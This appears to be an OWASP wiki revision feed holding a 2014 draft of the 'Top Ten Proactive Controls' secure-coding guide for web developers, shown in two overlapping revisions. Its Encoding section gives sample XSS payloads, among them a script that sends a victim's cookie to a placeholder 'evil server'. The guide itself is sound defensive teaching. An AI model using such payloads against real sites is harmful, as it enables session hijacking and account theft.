   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, forgot password or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of personal and confidential information in the system that must be protected and tracked. What is the source of this data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170114</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170114"/>
				<updated>2014-03-14T14:41:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
